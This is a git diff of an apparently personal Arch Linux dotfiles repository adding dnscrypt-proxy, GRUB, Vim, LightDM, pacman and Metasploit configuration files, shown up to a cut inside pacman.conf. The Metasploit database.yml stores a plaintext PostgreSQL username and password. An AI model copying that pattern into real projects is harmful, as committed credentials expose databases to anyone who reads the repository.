# SyslogPrefix dnscrypt
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
############## Local filtering ##############
|
||||||
|
|
||||||
|
## If your network doesn't support IPv6, chances are that your
|
||||||
|
## applications are still constantly trying to resolve IPv6 addresses,
|
||||||
|
## causing unnecessary slowdowns.
|
||||||
|
## This causes the proxy to immediately reply to IPv6 requests,
|
||||||
|
## without having to send a useless request to upstream resolvers, and
|
||||||
|
## having to wait for a response.
|
||||||
|
## This uses a plugin that requires dnscrypt-proxy to be compiled with
|
||||||
|
## the ldns library.
|
||||||
|
|
||||||
|
BlockIPv6 yes
|
||||||
|
|
||||||
|
|
||||||
|
## Want to filter ads, malware, sensitive or inappropriate websites and
|
||||||
|
## domain names? This feature can block lists of IP addresses and names
|
||||||
|
## matching a list of patterns. The list of rules remains private, and
|
||||||
|
## the filtering process directly happens on your own network. In order
|
||||||
|
## to filter IP addresses, the list of IPs has to be put into a text
|
||||||
|
## file, with one IP address per line. Lists of domain names can also be
|
||||||
|
## blocked as well. Put the list into a text file, one domain per line.
|
||||||
|
## Domains can include wildcards (*) in order to match patterns. For
|
||||||
|
## example *sex* will match any name that contains the sex substring, and
|
||||||
|
## ads.* will match anything starting with ads. The Internet has plenty
|
||||||
|
## of free feeds of IP addresses and domain names used for malware,
|
||||||
|
## phishing and spam that you can use with this feature.
|
||||||
|
##
|
||||||
|
## This uses a plugin that requires dnscrypt-proxy to be compiled with
|
||||||
|
## the ldns library.
|
||||||
|
##
|
||||||
|
## To enable, uncomment one of the following definitions:
|
||||||
|
|
||||||
|
## Block query names matching the rules stored in that file:
|
||||||
|
# BlackList domains:"/etc/dnscrypt-blacklist-domains.txt"
|
||||||
|
|
||||||
|
## Block responses whose IP addresses match IPs stored in that file:
|
||||||
|
# BlackList ips:"/etc/dnscrypt-blacklist-ips.txt"
|
||||||
|
|
||||||
|
## Block both domain names and IP addresses:
|
||||||
|
# BlackList domains:"/etc/dnscrypt-blacklist-domains.txt" ips:"/etc/dnscrypt-blacklist-ips.txt"
|
||||||
|
|
||||||
|
## Same as the above + log the blocked queries in a file.
|
||||||
|
## The log file can be prefixed with ltsv: (ex: ltsv:/tmp/log.txt) in order to
|
||||||
|
## store logs using the LTSV format.
|
||||||
|
# BlackList domains:"/etc/dnscrypt-blacklist-domains.txt" logfile:"/var/log/dnscrypt-blocked.log"
|
||||||
|
# BlackList ips:"/etc/dnscrypt-blacklist-ips.txt" logfile:"/var/log/dnscrypt-blocked.log"
|
||||||
|
# BlackList domains:"/etc/dnscrypt-blacklist-domains.txt" ips:"/etc/dnscrypt-blacklist-ips.txt" logfile:"/var/log/dnscrypt-blocked.log"
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
############## User identification ##############
|
||||||
|
|
||||||
|
## Use a client public key for identification
|
||||||
|
## By default, the client uses a randomized key pair in order to make tracking
|
||||||
|
## more difficult. This option does the opposite and uses a static key pair, so
|
||||||
|
## that DNS providers can offer premium services to queries signed with a known
|
||||||
|
## set of public keys. A client cannot decrypt the received responses without
|
||||||
|
## also knowing the secret key.
|
||||||
|
## The value for this property is the path to a file containing the secret key,
|
||||||
|
## encoded as a hexadecimal string. The corresponding public key is computed
|
||||||
|
## automatically.
|
||||||
|
|
||||||
|
# ClientKey /etc/dnscrypt-client-secret.key
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
############## Monitoring ##############
|
||||||
|
|
||||||
|
## Do not actually start the proxy, but check that a valid certificate can be
|
||||||
|
## retrieved from the server and that it will remain valid for the specified
|
||||||
|
## time period. The process exit code is 0 if a valid certificate can be used,
|
||||||
|
## 2 if no valid certificates can be used, 3 if a timeout occurred, and 4 if a
|
||||||
|
## currently valid certificate is going to expire before the given margin.
|
||||||
|
## Useful in a cron job to monitor your own dnscrypt-servers.
|
||||||
|
## The margin is specified in minutes.
|
||||||
|
|
||||||
|
# Test 2880
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
############## Recursive configuration ##############
|
||||||
|
|
||||||
|
## A configuration file can include other configuration files by inserting
|
||||||
|
## the `Include` directive anywhere (the full path required, no quotes):
|
||||||
|
|
||||||
|
# Include /etc/dnscrypt-proxy-common.conf
|
||||||
54
etc/grub
Normal file
54
etc/grub
Normal file
|
|
@ -0,0 +1,54 @@
|
||||||
|
# GRUB boot loader configuration
|
||||||
|
|
||||||
|
GRUB_DEFAULT=saved
|
||||||
|
GRUB_TIMEOUT=5
|
||||||
|
GRUB_DISTRIBUTOR="Arch"
|
||||||
|
GRUB_CMDLINE_LINUX_DEFAULT="quiet zswap.compressor=lz4"
|
||||||
|
GRUB_CMDLINE_LINUX=""
|
||||||
|
|
||||||
|
# Preload both GPT and MBR modules so that they are not missed
|
||||||
|
GRUB_PRELOAD_MODULES="part_gpt part_msdos"
|
||||||
|
|
||||||
|
# Uncomment to enable booting from LUKS encrypted devices
|
||||||
|
#GRUB_ENABLE_CRYPTODISK=y
|
||||||
|
|
||||||
|
# Uncomment to enable Hidden Menu, and optionally hide the timeout count
|
||||||
|
#GRUB_HIDDEN_TIMEOUT=5
|
||||||
|
#GRUB_HIDDEN_TIMEOUT_QUIET=true
|
||||||
|
|
||||||
|
# Uncomment to use basic console
|
||||||
|
GRUB_TERMINAL_INPUT=console
|
||||||
|
|
||||||
|
# Uncomment to disable graphical terminal
|
||||||
|
#GRUB_TERMINAL_OUTPUT=console
|
||||||
|
|
||||||
|
# The resolution used on graphical terminal
|
||||||
|
# note that you can use only modes which your graphic card supports via VBE
|
||||||
|
# you can see them in real GRUB with the command `vbeinfo'
|
||||||
|
GRUB_GFXMODE=auto
|
||||||
|
|
||||||
|
# Uncomment to allow the kernel use the same resolution used by grub
|
||||||
|
GRUB_GFXPAYLOAD_LINUX=keep
|
||||||
|
|
||||||
|
# Uncomment if you want GRUB to pass to the Linux kernel the old parameter
|
||||||
|
# format "root=/dev/xxx" instead of "root=/dev/disk/by-uuid/xxx"
|
||||||
|
#GRUB_DISABLE_LINUX_UUID=true
|
||||||
|
|
||||||
|
# Uncomment to disable generation of recovery mode menu entries
|
||||||
|
GRUB_DISABLE_RECOVERY=true
|
||||||
|
|
||||||
|
# Uncomment and set to the desired menu colors. Used by normal and wallpaper
|
||||||
|
# modes only. Entries specified as foreground/background.
|
||||||
|
#GRUB_COLOR_NORMAL="light-blue/black"
|
||||||
|
#GRUB_COLOR_HIGHLIGHT="light-cyan/blue"
|
||||||
|
|
||||||
|
# Uncomment one of them for the gfx desired, a image background or a gfxtheme
|
||||||
|
GRUB_BACKGROUND="/home/shl/Pictures/Images/archlinux.png"
|
||||||
|
#GRUB_THEME="/path/to/gfxtheme"
|
||||||
|
|
||||||
|
# Uncomment to get a beep at GRUB start
|
||||||
|
#GRUB_INIT_TUNE="480 440 1"
|
||||||
|
|
||||||
|
# Uncomment to make GRUB remember the last selection. This requires to
|
||||||
|
# set 'GRUB_DEFAULT=saved' above.
|
||||||
|
GRUB_SAVEDEFAULT="true"
|
||||||
54
etc/grub.save
Normal file
54
etc/grub.save
Normal file
|
|
@ -0,0 +1,54 @@
|
||||||
|
# GRUB boot loader configuration
|
||||||
|
|
||||||
|
GRUB_DEFAULT=0
|
||||||
|
GRUB_TIMEOUT=5
|
||||||
|
GRUB_DISTRIBUTOR="Arch"
|
||||||
|
GRUB_CMDLINE_LINUX_DEFAULT="quiet zswap.enabled=1 zswap.compressor=lz4"
|
||||||
|
GRUB_CMDLINE_LINUX=""
|
||||||
|
|
||||||
|
# Preload both GPT and MBR modules so that they are not missed
|
||||||
|
GRUB_PRELOAD_MODULES="part_gpt part_msdos"
|
||||||
|
|
||||||
|
# Uncomment to enable booting from LUKS encrypted devices
|
||||||
|
#GRUB_ENABLE_CRYPTODISK=y
|
||||||
|
|
||||||
|
# Uncomment to enable Hidden Menu, and optionally hide the timeout count
|
||||||
|
#GRUB_HIDDEN_TIMEOUT=5
|
||||||
|
#GRUB_HIDDEN_TIMEOUT_QUIET=true
|
||||||
|
|
||||||
|
# Uncomment to use basic console
|
||||||
|
GRUB_TERMINAL_INPUT=console
|
||||||
|
|
||||||
|
# Uncomment to disable graphical terminal
|
||||||
|
#GRUB_TERMINAL_OUTPUT=console
|
||||||
|
|
||||||
|
# The resolution used on graphical terminal
|
||||||
|
# note that you can use only modes which your graphic card supports via VBE
|
||||||
|
# you can see them in real GRUB with the command `vbeinfo'
|
||||||
|
GRUB_GFXMODE=auto
|
||||||
|
|
||||||
|
# Uncomment to allow the kernel use the same resolution used by grub
|
||||||
|
GRUB_GFXPAYLOAD_LINUX=keep
|
||||||
|
|
||||||
|
# Uncomment if you want GRUB to pass to the Linux kernel the old parameter
|
||||||
|
# format "root=/dev/xxx" instead of "root=/dev/disk/by-uuid/xxx"
|
||||||
|
#GRUB_DISABLE_LINUX_UUID=true
|
||||||
|
|
||||||
|
# Uncomment to disable generation of recovery mode menu entries
|
||||||
|
GRUB_DISABLE_RECOVERY=true
|
||||||
|
|
||||||
|
# Uncomment and set to the desired menu colors. Used by normal and wallpaper
|
||||||
|
# modes only. Entries specified as foreground/background.
|
||||||
|
#GRUB_COLOR_NORMAL="light-blue/black"
|
||||||
|
#GRUB_COLOR_HIGHLIGHT="light-cyan/blue"
|
||||||
|
|
||||||
|
# Uncomment one of them for the gfx desired, a image background or a gfxtheme
|
||||||
|
#GRUB_BACKGROUND="/path/to/wallpaper"
|
||||||
|
#GRUB_THEME="/path/to/gfxtheme"
|
||||||
|
|
||||||
|
# Uncomment to get a beep at GRUB start
|
||||||
|
#GRUB_INIT_TUNE="480 440 1"
|
||||||
|
|
||||||
|
# Uncomment to make GRUB remember the last selection. This requires to
|
||||||
|
# set 'GRUB_DEFAULT=saved' above.
|
||||||
|
#GRUB_SAVEDEFAULT="true"
|
||||||
27
etc/gvimrc
Normal file
27
etc/gvimrc
Normal file
|
|
@ -0,0 +1,27 @@
|
||||||
|
syn on
|
||||||
|
set guifont=Monospace\ Bold\ 12
|
||||||
|
let do_syntax_sel_menu = 1|runtime! synmenu.vim|aunmenu &Syntax.&Show\ File\ Types\ in\ Menu
|
||||||
|
colors industry
|
||||||
|
set background=dark
|
||||||
|
|
||||||
|
" Uncomment the following to have Vim jump to the last position when
|
||||||
|
" reopening a file
|
||||||
|
if has("autocmd")
|
||||||
|
au BufReadPost * if line("'\"") > 1 && line("'\"") <= line("$") | exe "normal! g'\"" | endif
|
||||||
|
endif
|
||||||
|
|
||||||
|
" Uncomment the following to have Vim load indentation rules and plugins
|
||||||
|
" according to the detected filetype.
|
||||||
|
if has("autocmd")
|
||||||
|
filetype plugin indent on
|
||||||
|
endif
|
||||||
|
|
||||||
|
set showmatch
|
||||||
|
"set mouse=a
|
||||||
|
set tabstop=4
|
||||||
|
set expandtab
|
||||||
|
set shiftwidth=4
|
||||||
|
set smartindent
|
||||||
|
set autoindent
|
||||||
|
set cindent
|
||||||
|
"
|
||||||
1
etc/hostname
Normal file
1
etc/hostname
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
SecHackLabs
|
||||||
64
etc/lightdm/Xsession
Normal file
64
etc/lightdm/Xsession
Normal file
|
|
@ -0,0 +1,64 @@
|
||||||
|
#!/bin/sh
|
||||||
|
#
|
||||||
|
# LightDM wrapper to run around X sessions.
|
||||||
|
|
||||||
|
echo "Running X session wrapper"
|
||||||
|
|
||||||
|
# Load profile
|
||||||
|
for file in "/etc/profile" "$HOME/.profile" "/etc/xprofile" "$HOME/.xprofile"; do
|
||||||
|
if [ -f "$file" ]; then
|
||||||
|
echo "Loading profile from $file";
|
||||||
|
. "$file"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# Load resources
|
||||||
|
for file in "/etc/X11/Xresources" "$HOME/.Xresources"; do
|
||||||
|
if [ -f "$file" ]; then
|
||||||
|
echo "Loading resource: $file"
|
||||||
|
xrdb -merge "$file"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# Load keymaps
|
||||||
|
for file in "/etc/X11/Xkbmap" "$HOME/.Xkbmap"; do
|
||||||
|
if [ -f "$file" ]; then
|
||||||
|
echo "Loading keymap: $file"
|
||||||
|
setxkbmap `cat "$file"`
|
||||||
|
XKB_IN_USE=yes
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# Load xmodmap if not using XKB
|
||||||
|
if [ -z "$XKB_IN_USE" ]; then
|
||||||
|
for file in "/etc/X11/Xmodmap" "$HOME/.Xmodmap"; do
|
||||||
|
if [ -f "$file" ]; then
|
||||||
|
echo "Loading modmap: $file"
|
||||||
|
xmodmap "$file"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
unset XKB_IN_USE
|
||||||
|
|
||||||
|
# Run all system xinitrc shell scripts
|
||||||
|
xinitdir="/etc/X11/xinit/xinitrc.d"
|
||||||
|
if [ -d "$xinitdir" ]; then
|
||||||
|
for script in $xinitdir/*; do
|
||||||
|
echo "Loading xinit script $script"
|
||||||
|
if [ -x "$script" -a ! -d "$script" ]; then
|
||||||
|
. "$script"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Run user xsession shell script
|
||||||
|
script="$HOME/.xsession"
|
||||||
|
if [ -x "$script" -a ! -d "$script" ]; then
|
||||||
|
echo "Loading xsession script $script"
|
||||||
|
. "$script"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "X session wrapper complete, running session $@"
|
||||||
|
|
||||||
|
exec $@
|
||||||
3
etc/lightdm/keys.conf
Normal file
3
etc/lightdm/keys.conf
Normal file
|
|
@ -0,0 +1,3 @@
|
||||||
|
[keyring]
|
||||||
|
#a=0x0123456789ABCD
|
||||||
|
#b=secret
|
||||||
62
etc/lightdm/lightdm-gtk-greeter.conf
Normal file
62
etc/lightdm/lightdm-gtk-greeter.conf
Normal file
|
|
@ -0,0 +1,62 @@
|
||||||
|
# LightDM GTK+ Configuration
|
||||||
|
# Available configuration options listed below.
|
||||||
|
#
|
||||||
|
# Appearance:
|
||||||
|
# theme-name = GTK+ theme to use
|
||||||
|
# icon-theme-name = Icon theme to use
|
||||||
|
# background = Background file to use, either an image path or a color (e.g. #772953)
|
||||||
|
# user-background = false|true ("true" by default) Display user background (if available)
|
||||||
|
# transition-duration = Length of time (in milliseconds) to transition between background images ("500" by default)
|
||||||
|
# transition-type = ease-in-out|linear|none ("ease-in-out" by default)
|
||||||
|
#
|
||||||
|
# Fonts:
|
||||||
|
# font-name = Font to use
|
||||||
|
# xft-antialias = false|true Whether to antialias Xft fonts
|
||||||
|
# xft-dpi = Resolution for Xft in dots per inch (e.g. 96)
|
||||||
|
# xft-hintstyle = none|slight|medium|hintfull What degree of hinting to use
|
||||||
|
# xft-rgba = none|rgb|bgr|vrgb|vbgr Type of subpixel antialiasing
|
||||||
|
#
|
||||||
|
# Login window:
|
||||||
|
# active-monitor = Monitor to display greeter window (name or number). Use #cursor value to display greeter at monitor with cursor. Can be a semicolon separated list
|
||||||
|
# position = x y ("50% 50%" by default) Login window position
|
||||||
|
# default-user-image = Image used as default user icon, path or #icon-name
|
||||||
|
# hide-user-image = false|true ("false" by default)
|
||||||
|
#
|
||||||
|
# Panel:
|
||||||
|
# panel-position = top|bottom ("top" by default)
|
||||||
|
# clock-format = strftime-format string, e.g. %H:%M
|
||||||
|
# indicators = semi-colon ";" separated list of allowed indicator modules. Built-in indicators include "~a11y", "~language", "~session", "~power", "~clock", "~host", "~spacer". Unity indicators can be represented by short name (e.g. "sound", "power"), service file name, or absolute path
|
||||||
|
#
|
||||||
|
# Accessibility:
|
||||||
|
# a11y-states = states of accessibility features: "name" - save state on exit, "-name" - disabled at start (default value for unlisted), "+name" - enabled at start. Allowed names: contrast, font, keyboard, reader.
|
||||||
|
# keyboard = command to launch on-screen keyboard (e.g. "onboard")
|
||||||
|
# keyboard-position = x y[;width height] ("50%,center -0;50% 25%" by default) Works only for "onboard"
|
||||||
|
# reader = command to launch screen reader (e.g. "orca")
|
||||||
|
#
|
||||||
|
# Security:
|
||||||
|
# allow-debugging = false|true ("false" by default)
|
||||||
|
# screensaver-timeout = Timeout (in seconds) until the screen blanks when the greeter is called as lockscreen
|
||||||
|
#
|
||||||
|
# Template for per-monitor configuration:
|
||||||
|
# [monitor: name]
|
||||||
|
# background = overrides default value
|
||||||
|
# user-background = overrides default value
|
||||||
|
# laptop = false|true ("false" by default) Marks monitor as laptop display
|
||||||
|
# transition-duration = overrides default value
|
||||||
|
#
|
||||||
|
[greeter]
|
||||||
|
#background=
|
||||||
|
#user-background=
|
||||||
|
#theme-name=
|
||||||
|
#icon-theme-name=
|
||||||
|
#font-name=
|
||||||
|
#xft-antialias=
|
||||||
|
#xft-dpi=
|
||||||
|
#xft-hintstyle=
|
||||||
|
#xft-rgba=
|
||||||
|
#indicators=
|
||||||
|
#clock-format=
|
||||||
|
#keyboard=
|
||||||
|
#reader=
|
||||||
|
#position=
|
||||||
|
#screensaver-timeout=
|
||||||
169
etc/lightdm/lightdm.conf
Normal file
169
etc/lightdm/lightdm.conf
Normal file
|
|
@ -0,0 +1,169 @@
|
||||||
|
#
|
||||||
|
# General configuration
|
||||||
|
#
|
||||||
|
# start-default-seat = True to always start one seat if none are defined in the configuration
|
||||||
|
# greeter-user = User to run greeter as
|
||||||
|
# minimum-display-number = Minimum display number to use for X servers
|
||||||
|
# minimum-vt = First VT to run displays on
|
||||||
|
# lock-memory = True to prevent memory from being paged to disk
|
||||||
|
# user-authority-in-system-dir = True if session authority should be in the system location
|
||||||
|
# guest-account-script = Script to be run to setup guest account
|
||||||
|
# logind-check-graphical = True to on start seats that are marked as graphical by logind
|
||||||
|
# log-directory = Directory to log information to
|
||||||
|
# run-directory = Directory to put running state in
|
||||||
|
# cache-directory = Directory to cache to
|
||||||
|
# sessions-directory = Directory to find sessions
|
||||||
|
# remote-sessions-directory = Directory to find remote sessions
|
||||||
|
# greeters-directory = Directory to find greeters
|
||||||
|
# backup-logs = True to move add a .old suffix to old log files when opening new ones
|
||||||
|
# dbus-service = True if LightDM provides a D-Bus service to control it
|
||||||
|
#
|
||||||
|
[LightDM]
|
||||||
|
#start-default-seat=true
|
||||||
|
#greeter-user=lightdm
|
||||||
|
#minimum-display-number=0
|
||||||
|
#minimum-vt=7 # Setting this to a value < 7 implies security issues, see FS#46799
|
||||||
|
#lock-memory=true
|
||||||
|
#user-authority-in-system-dir=false
|
||||||
|
#guest-account-script=guest-account
|
||||||
|
#logind-check-graphical=false
|
||||||
|
#log-directory=/var/log/lightdm
|
||||||
|
run-directory=/run/lightdm
|
||||||
|
#cache-directory=/var/cache/lightdm
|
||||||
|
#sessions-directory=/usr/share/lightdm/sessions:/usr/share/xsessions:/usr/share/wayland-sessions
|
||||||
|
#remote-sessions-directory=/usr/share/lightdm/remote-sessions
|
||||||
|
#greeters-directory=$XDG_DATA_DIRS/lightdm/greeters:$XDG_DATA_DIRS/xgreeters
|
||||||
|
#backup-logs=true
|
||||||
|
#dbus-service=true
|
||||||
|
|
||||||
|
#
|
||||||
|
# Seat configuration
|
||||||
|
#
|
||||||
|
# Seat configuration is matched against the seat name glob in the section, for example:
|
||||||
|
# [Seat:*] matches all seats and is applied first.
|
||||||
|
# [Seat:seat0] matches the seat named "seat0".
|
||||||
|
# [Seat:seat-thin-client*] matches all seats that have names that start with "seat-thin-client".
|
||||||
|
#
|
||||||
|
# type = Seat type (local, xremote, unity)
|
||||||
|
# pam-service = PAM service to use for login
|
||||||
|
# pam-autologin-service = PAM service to use for autologin
|
||||||
|
# pam-greeter-service = PAM service to use for greeters
|
||||||
|
# xserver-backend = X backend to use (mir)
|
||||||
|
# xserver-command = X server command to run (can also contain arguments e.g. X -special-option)
|
||||||
|
# xmir-command = Xmir server command to run (can also contain arguments e.g. Xmir -special-option)
|
||||||
|
# xserver-config = Config file to pass to X server
|
||||||
|
# xserver-layout = Layout to pass to X server
|
||||||
|
# xserver-allow-tcp = True if TCP/IP connections are allowed to this X server
|
||||||
|
# xserver-share = True if the X server is shared for both greeter and session
|
||||||
|
# xserver-hostname = Hostname of X server (only for type=xremote)
|
||||||
|
# xserver-display-number = Display number of X server (only for type=xremote)
|
||||||
|
# xdmcp-manager = XDMCP manager to connect to (implies xserver-allow-tcp=true)
|
||||||
|
# xdmcp-port = XDMCP UDP/IP port to communicate on
|
||||||
|
# xdmcp-key = Authentication key to use for XDM-AUTHENTICATION-1 (stored in keys.conf)
|
||||||
|
# unity-compositor-command = Unity compositor command to run (can also contain arguments e.g. unity-system-compositor -special-option)
|
||||||
|
# unity-compositor-timeout = Number of seconds to wait for compositor to start
|
||||||
|
# greeter-session = Session to load for greeter
|
||||||
|
# greeter-hide-users = True to hide the user list
|
||||||
|
# greeter-allow-guest = True if the greeter should show a guest login option
|
||||||
|
# greeter-show-manual-login = True if the greeter should offer a manual login option
|
||||||
|
# greeter-show-remote-login = True if the greeter should offer a remote login option
|
||||||
|
# user-session = Session to load for users
|
||||||
|
# allow-user-switching = True if allowed to switch users
|
||||||
|
# allow-guest = True if guest login is allowed
|
||||||
|
# guest-session = Session to load for guests (overrides user-session)
|
||||||
|
# session-wrapper = Wrapper script to run session with
|
||||||
|
# greeter-wrapper = Wrapper script to run greeter with
|
||||||
|
# guest-wrapper = Wrapper script to run guest sessions with
|
||||||
|
# display-setup-script = Script to run when starting a greeter session (runs as root)
|
||||||
|
# display-stopped-script = Script to run after stopping the display server (runs as root)
|
||||||
|
# greeter-setup-script = Script to run when starting a greeter (runs as root)
|
||||||
|
# session-setup-script = Script to run when starting a user session (runs as root)
|
||||||
|
# session-cleanup-script = Script to run when quitting a user session (runs as root)
|
||||||
|
# autologin-guest = True to log in as guest by default
|
||||||
|
# autologin-user = User to log in with by default (overrides autologin-guest)
|
||||||
|
# autologin-user-timeout = Number of seconds to wait before loading default user
|
||||||
|
# autologin-session = Session to load for automatic login (overrides user-session)
|
||||||
|
# autologin-in-background = True if autologin session should not be immediately activated
|
||||||
|
# exit-on-failure = True if the daemon should exit if this seat fails
|
||||||
|
#
|
||||||
|
[Seat:*]
|
||||||
|
#type=local
|
||||||
|
#pam-service=lightdm
|
||||||
|
#pam-autologin-service=lightdm-autologin
|
||||||
|
#pam-greeter-service=lightdm-greeter
|
||||||
|
#xserver-backend=
|
||||||
|
#xserver-command=X
|
||||||
|
#xmir-command=Xmir
|
||||||
|
#xserver-config=
|
||||||
|
#xserver-layout=
|
||||||
|
#xserver-allow-tcp=false
|
||||||
|
#xserver-share=true
|
||||||
|
#xserver-hostname=
|
||||||
|
#xserver-display-number=
|
||||||
|
#xdmcp-manager=
|
||||||
|
#xdmcp-port=177
|
||||||
|
#xdmcp-key=
|
||||||
|
#unity-compositor-command=unity-system-compositor
|
||||||
|
#unity-compositor-timeout=60
|
||||||
|
#greeter-session=example-gtk-gnome
|
||||||
|
#greeter-hide-users=false
|
||||||
|
#greeter-allow-guest=true
|
||||||
|
#greeter-show-manual-login=false
|
||||||
|
#greeter-show-remote-login=true
|
||||||
|
#user-session=default
|
||||||
|
#allow-user-switching=true
|
||||||
|
#allow-guest=true
|
||||||
|
#guest-session=
|
||||||
|
session-wrapper=/etc/lightdm/Xsession
|
||||||
|
#greeter-wrapper=
|
||||||
|
#guest-wrapper=
|
||||||
|
#display-setup-script=
|
||||||
|
#display-stopped-script=
|
||||||
|
#greeter-setup-script=
|
||||||
|
#session-setup-script=
|
||||||
|
#session-cleanup-script=
|
||||||
|
#autologin-guest=false
|
||||||
|
#autologin-user=
|
||||||
|
#autologin-user-timeout=0
|
||||||
|
#autologin-in-background=false
|
||||||
|
#autologin-session=
|
||||||
|
#exit-on-failure=false
|
||||||
|
|
||||||
|
#
|
||||||
|
# XDMCP Server configuration
|
||||||
|
#
|
||||||
|
# enabled = True if XDMCP connections should be allowed
|
||||||
|
# port = UDP/IP port to listen for connections on
|
||||||
|
# listen-address = Host/address to listen for XDMCP connections (use all addresses if not present)
|
||||||
|
# key = Authentication key to use for XDM-AUTHENTICATION-1 or blank to not use authentication (stored in keys.conf)
|
||||||
|
# hostname = Hostname to report to XDMCP clients (defaults to system hostname if unset)
|
||||||
|
#
|
||||||
|
# The authentication key is a 56 bit DES key specified in hex as 0xnnnnnnnnnnnnnn. Alternatively
|
||||||
|
# it can be a word and the first 7 characters are used as the key.
|
||||||
|
#
|
||||||
|
[XDMCPServer]
|
||||||
|
#enabled=false
|
||||||
|
#port=177
|
||||||
|
#listen-address=
|
||||||
|
#key=
|
||||||
|
#hostname=
|
||||||
|
|
||||||
|
#
|
||||||
|
# VNC Server configuration
|
||||||
|
#
|
||||||
|
# enabled = True if VNC connections should be allowed
|
||||||
|
# command = Command to run Xvnc server with
|
||||||
|
# port = TCP/IP port to listen for connections on
|
||||||
|
# listen-address = Host/address to listen for VNC connections (use all addresses if not present)
|
||||||
|
# width = Width of display to use
|
||||||
|
# height = Height of display to use
|
||||||
|
# depth = Color depth of display to use
|
||||||
|
#
|
||||||
|
[VNCServer]
|
||||||
|
#enabled=false
|
||||||
|
#command=Xvnc
|
||||||
|
#port=5900
|
||||||
|
#listen-address=
|
||||||
|
#width=1024
|
||||||
|
#height=768
|
||||||
|
#depth=8
|
||||||
14
etc/lightdm/users.conf
Normal file
14
etc/lightdm/users.conf
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
#
|
||||||
|
# User accounts configuration
|
||||||
|
#
|
||||||
|
# NOTE: If you have AccountsService installed on your system, then LightDM will
|
||||||
|
# use this instead and these settings will be ignored
|
||||||
|
#
|
||||||
|
# minimum-uid = Minimum UID required to be shown in greeter
|
||||||
|
# hidden-users = Users that are not shown to the user
|
||||||
|
# hidden-shells = Shells that indicate a user cannot login
|
||||||
|
#
|
||||||
|
[UserList]
|
||||||
|
minimum-uid=1000
|
||||||
|
hidden-users=nobody nobody4 noaccess
|
||||||
|
hidden-shells=/bin/false /usr/bin/nologin
|
||||||
1
etc/lz5.conf
Normal file
1
etc/lz5.conf
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
lz4_compress
|
||||||
9
etc/metasploit/database.yml
Normal file
9
etc/metasploit/database.yml
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
production:
|
||||||
|
adapter: postgresql
|
||||||
|
database: msfdb
|
||||||
|
username: msf
|
||||||
|
password: msftest123
|
||||||
|
host: 127.0.0.1
|
||||||
|
port: 5432
|
||||||
|
pool: 75
|
||||||
|
timeout: 5
|
||||||
1
etc/mirrorlist
Normal file
1
etc/mirrorlist
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
Server = https://mirrors.kernel.org/archlinux/$repo/os/$arch
|
||||||
1
etc/mt7601u.conf
Normal file
1
etc/mt7601u.conf
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
options mt7601u ips=0 fwlps=0
|
||||||
109
etc/pacman.conf
Normal file
109
etc/pacman.conf
Normal file
|
|
@ -0,0 +1,109 @@
|
||||||
|
#
|
||||||
|
# /etc/pacman.conf
|
||||||
|
#
|
||||||
|
# See the pacman.conf(5) manpage for option and repository directives
|
||||||
|
|
||||||
|
#
|
||||||
|
# GENERAL OPTIONS
|
||||||
|
#
|
||||||
|
[options]
|
||||||
|
# The following paths are commented out with their default values listed.
|
||||||
|
# If you wish to use different paths, uncomment and update the paths.
|
||||||
|
#RootDir = /
|
||||||
|
#DBPath = /var/lib/pacman/
|
||||||
|
#CacheDir = /var/cache/pacman/pkg/
|
||||||
|
#LogFile = /var/log/pacman.log
|
||||||
|
#GPGDir = /etc/pacman.d/gnupg/
|
||||||
|
#HookDir = /etc/pacman.d/hooks/
|
||||||
|
HoldPkg = pacman glibc
|
||||||
|
#XferCommand = /usr/bin/curl -C - -f %u > %o
|
||||||
|
#XferCommand = /usr/bin/wget --passive-ftp -c -O %o %u
|
||||||
|
#CleanMethod = KeepInstalled
|
||||||
|
#UseDelta = 0.7
|
||||||
|
Architecture = auto
|
||||||
|
|
||||||
|
# Pacman won't upgrade packages listed in IgnorePkg and members of IgnoreGroup
|
||||||
|
#IgnorePkg =
|
||||||
|
#IgnoreGroup =
|
||||||
|
|
||||||
|
#NoUpgrade =
|
||||||
|
#NoExtract =
|
||||||
|
|
||||||
|
# Misc options
|
||||||
|
#UseSyslog
|
||||||
|
#Color
|
||||||
|
#TotalDownload
|
||||||
|
CheckSpace
|
||||||
|
#VerbosePkgLists
|
||||||
|
|
||||||
|
# By default, pacman accepts packages signed by keys that its local keyring
|
||||||
|
# trusts (see pacman-key and its man page), as well as unsigned packages.
|
||||||
|
SigLevel = Required DatabaseOptional
|
||||||
|
LocalFileSigLevel = Optional
|
||||||
|
#RemoteFileSigLevel = Required
|
||||||
|
|
||||||
|
# NOTE: You must run `pacman-key --init` before first using pacman; the local
|
||||||
|
# keyring can then be populated with the keys of all official Arch Linux
|
||||||
|
# packagers with `pacman-key --populate archlinux`.
|
||||||
|
|
||||||
|
#
|
||||||
|
# REPOSITORIES
|
||||||
|
# - can be defined here or included from another file
|
||||||
|
# - pacman will search repositories in the order defined here
|
||||||
|
# - local/custom mirrors can be added here or in separate files
|
||||||
|
# - repositories listed first will take precedence when packages
|
||||||
|
# have identical names, regardless of version number
|
||||||
|
# - URLs will have $repo replaced by the name of the current repo
|
||||||
|
# - URLs will have $arch replaced by the name of the architecture
|
||||||
|
#
|
||||||
|
# Repository entries are of the format:
|
||||||
|
# [repo-name]
|
||||||
|
# Server = ServerName
|
||||||
|
# Include = IncludePath
|
||||||
|
#
|
||||||
|
# The header [repo-name] is crucial - it must be present and
|
||||||
|
# uncommented to enable the repo.
|
||||||
|
#
|
||||||
|
|
||||||
|
# The testing repositories are disabled by default. To enable, uncomment the
|
||||||
|
# repo name header and Include lines. You can add preferred servers immediately
|
||||||
|
